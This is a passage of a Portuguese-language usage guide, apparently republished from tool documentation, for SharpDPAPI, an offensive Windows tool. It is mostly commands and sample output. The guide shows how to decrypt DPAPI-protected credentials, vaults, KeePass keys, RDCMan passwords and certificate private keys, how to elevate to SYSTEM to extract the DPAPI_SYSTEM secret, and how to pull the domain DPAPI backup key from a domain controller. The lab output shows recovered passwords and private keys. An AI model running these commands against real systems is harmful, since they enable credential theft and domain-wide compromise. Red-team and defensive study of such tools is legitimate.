{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

O comando keepass pesquisará por arquivos KeePass ProtectedUserKey.bin para o usuário atual (ou, se elevado, todos os usuários) e a) os descriptografará com quaisquer chaves mestras "{GUID}:SHA1" fornecidas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) usará uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de descriptografia de consulta. Os mapeamentos de GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

A flag /unprotect usará CryptUnprotectData() para descriptografar os bytes da chave, se o comando for executado no contexto do usuário que salvou as senhas. Isso pode ser feito a partir de um contexto não privilegiado, sem a necessidade acessar o LSASS. Para entender por que essa abordagem não é usada para credentials/vaults, veja a documentação de Benjamin aqui.

Um arquivo ProtectedUserKey.bin específico, arquivo .RDC (ou pasta de arquivos .RDG) pode ser especificado com /target:FILE ou /target:C:\Folder\. Se um arquivo for especificado, valores {GUID}:SHA1 (ou /unprotect) são necessários, e se uma pasta for especificada, a) valores {GUID}:SHA1 devem ser fornecidos ou b) a pasta deve conter chaves mestras DPAPI e uma chave de backup de domínio /pvk deve ser fornecida.

Os bytes do arquivo de chave descriptografado podem ser usados com a versão modificada do KeePass no KeeThief.

Usando /unprotect para descriptografar qualquer material de chave encontrado:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

O comando certificates pesquisará chaves privadas de certificado DPAPI criptografadas de usuário e a) as descriptografará com quaisquer chaves mestras "{GUID}:SHA1" fornecidas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) usará uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de descriptografia de consulta. Os mapeamentos de GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

A flag /unprotect usará CryptUnprotectData() para descriptografar chaves privadas, se o comando for executado no contexto do usuário cujos certificados você está tentando acessar. Isso pode ser feito a partir de um contexto não privilegiado, sem a necessidade acessar o LSASS. Para entender por que essa abordagem não é usada para credentials/vaults, veja a documentação de Benjamin aqui.

Um certificado específico pode ser especificado com /target:FILE ou /target:C:\Folder\. Em ambos os casos, valores {GUID}:SHA1 (ou /unprotect) são necessários ou b) a pasta deve conter chaves mestras DPAPI e uma chave de backup de domínio /pvk deve ser fornecida.

Por padrão, apenas chaves privadas vinculáveis a um certificado instalado associado são exibidas. O comando /showall exibirá TODAS as chaves privadas descriptografadas.

Use a flag /cng para chaves privadas CNG (o padrão é capi).

Usando mapeamentos de chave mestra de domínio {GUID}:SHA1:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Usando /unprotect para descriptografar quaisquer certificados de usuário encontrados:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Usando uma chave de backup DPAPI de domínio para primeiro descriptografar quaisquer masterkeys detectáveis:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

O comando triage executa os comandos de usuário credentials, vaults, rdg e certificates.

Machine Triage

machinemasterkeys

O comando machinemasterkeys eleva para SYSTEM para recuperar o segredo LSA DPAPI_SYSTEM, que é então usado para descriptografar quaisquer masterkeys DPAPI de máquina encontradas. Ele retorna um conjunto de mapeamentos {GUID}:SHA1 das masterkeys.

São necessários direitos administrativos locais (para que possamos recuperar o segredo LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

O comando machinecredentials eleva para SYSTEM para recuperar o segredo LSA DPAPI_SYSTEM, que é então usado para descriptografar quaisquer masterkeys DPAPI de máquina encontradas. Essas chaves são então usadas para descriptografar quaisquer arquivos de Credenciais de máquina encontrados.

São necessários direitos administrativos locais (para que possamos recuperar o segredo LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

O comando machinevaults eleva para SYSTEM para recuperar o segredo LSA DPAPI_SYSTEM, que é então usado para descriptografar quaisquer masterkeys DPAPI de máquina encontradas. Essas chaves são então usadas para descriptografar quaisquer Cofres (Vaults) de máquina encontrados.

São necessários direitos administrativos locais (para que possamos recuperar o segredo LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

O comando certificates /machine usará o repositório de certificados da máquina para procurar chaves privadas de certificados de máquina descriptografáveis. /mkfile:X e {GUID}:masterkey são utilizáveis com o comando /target:\[file|folder\]; caso contrário, o SharpDPAPI elevará para SYSTEM para recuperar o segredo LSA DPAPI_SYSTEM, que é então usado para descriptografar quaisquer masterkeys DPAPI de máquina encontradas. Essas chaves são então usadas para descriptografar quaisquer chaves privadas de certificado criptografadas pelo sistema de máquina encontradas.

Por padrão, apenas chaves privadas vinculáveis a um certificado instalado associado são exibidas. O comando /showall exibirá TODAS as chaves privadas descriptografadas.

São necessários direitos administrativos locais (para que possamos recuperar o segredo LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

O comando machinetriage executa os comandos de usuário machinecredentials, machinevaults e certificates /machine.

Misc

ps

O comando ps descreve/descriptografa um clixml de PSCredential exportado. Um /target:FILE.xml deve ser fornecido.

O comando pode a) descriptografar o arquivo com quaisquer masterkeys "{GUID}:SHA1" passadas, b) um /mkfile:FILE com um ou mais mapeamentos de masterkeys {GUID}:SHA1, c) usar uma chave de backup DPAPI de domínio fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer masterkeys de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer masterkeys de usuário, que são então usadas como uma tabela de consulta de descriptografia. Os mapeamentos GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

O sinalizador /unprotect usará CryptUnprotectData() para descriptografar o .xml de credencial sem a necessidade de masterkeys, se o comando for executado no contexto do usuário que salvou as senhas. Isso pode ser feito a partir de um contexto não privilegiado, sem a necessidade de tocar no LSASS. Para saber por que essa abordagem não é usada para credenciais/cofres, veja a documentação de Benjamin aqui.

Descriptografar um .xml de credencial exportado usando CryptProtectData() (o sinalizador /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Usando mapeamentos de masterkeys de domínio {GUID}:SHA1:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Usando uma chave de backup DPAPI de domínio para primeiro descriptografar quaisquer masterkeys detectáveis:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

O comando blob descreve/descriptografa um blob DPAPI. Um /target:<BASE64|blob.bin> deve ser fornecido.

O comando pode a) descriptografar o blob com quaisquer masterkeys "{GUID}:SHA1" passadas, b) um /mkfile:FILE com um ou mais mapeamentos de masterkeys {GUID}:SHA1, c) usar uma chave de backup DPAPI de domínio fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer masterkeys de usuário (como em masterkeys), ou d) uma /password:X para descriptografar quaisquer masterkeys de usuário, que são então usadas como uma tabela de consulta de descriptografia. Os mapeamentos GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

O sinalizador /unprotect usará CryptUnprotectData() para descriptografar o blob sem a necessidade de masterkeys, se o comando for executado no contexto do usuário que salvou as senhas. Isso pode ser feito a partir de um contexto não privilegiado, sem a necessidade de tocar no LSASS. Para saber por que essa abordagem não é usada para credenciais/cofres, veja a documentação de Benjamin aqui.

Descriptografar um blob usando CryptProtectData() (o sinalizador /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

Usando mapeamentos de masterkeys de domínio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Ação: Descrever blob DPAPI

[*] Usando CryptUnprotectData() para descriptografar.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Usando uma chave de backup DPAPI do domínio para primeiro descriptografar quaisquer chaves mestre descobertas:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Ação: Descrever blob DPAPI

[*] Usando uma chave de backup DPAPI do domínio para triar chaves mestre para mapeamentos de chave de decriptação!

[*] Cache de chave mestre do usuário:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

O comando backupkey irá recuperar a chave de backup DPAPI do domínio a partir de um controlador de domínio usando a abordagem da API LsaRetrievePrivateData do Mimikatz. Esta chave privada pode então ser usada para descriptografar blobs de chave mestre para qualquer usuário no domínio. E ainda melhor, a chave nunca muda ;)

São necessários direitos de administrador de domínio (ou equivalentes) para recuperar a chave de um controlador de domínio remoto.

A flag /nowrap evitará a quebra da chave base64 na exibição.

Este blob de chave base64 pode ser decodificado para um arquivo .pvk binário que pode então ser usado com o módulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk do Mimikatz, ou usado na forma blob/file /pvk:X com os comandos masterkeys, credentials ou vault do SharpDPAPI.

Por padrão, o SharpDPAPI tentará determinar o controlador de domínio atual através da chamada de API DsGetDcName. Um servidor pode ser especificado com /server:COMPUTER.domain.com. Se você quiser que a chave seja salva em disco em vez de ser exibida como um blob base64, use /file:key.pvk.

Recuperar a chave de backup DPAPI para o controlador de domínio atual:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Ação: Recuperar chave de backup DPAPI do domínio


[*] Usando controlador de domínio atual  : PRIMARY.testlab.local
[*] Guid da chave de backup preferida   : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome completo da chave de backup preferida : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Chave :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Recuperar a chave de backup DPAPI para o DC especificado, salvando a chave de backup em um arquivo:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Ação: Recuperar chave de backup DPAPI do domínio


[*] Usando servidor                     : primary.testlab.local
[*] Guid da chave de backup preferida   : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome completo da chave de backup preferida : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Chave de backup gravada em          : key.pvk

search

O comando search irá procurar por blobs DPAPI potenciais no registro, arquivos, pastas e blobs base64. Uso:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
O comando `search` funciona procurando pelos seguintes bytes, que representam o cabeçalho (Version + DPAPI provider GUID) da estrutura de blob DPAPI:```
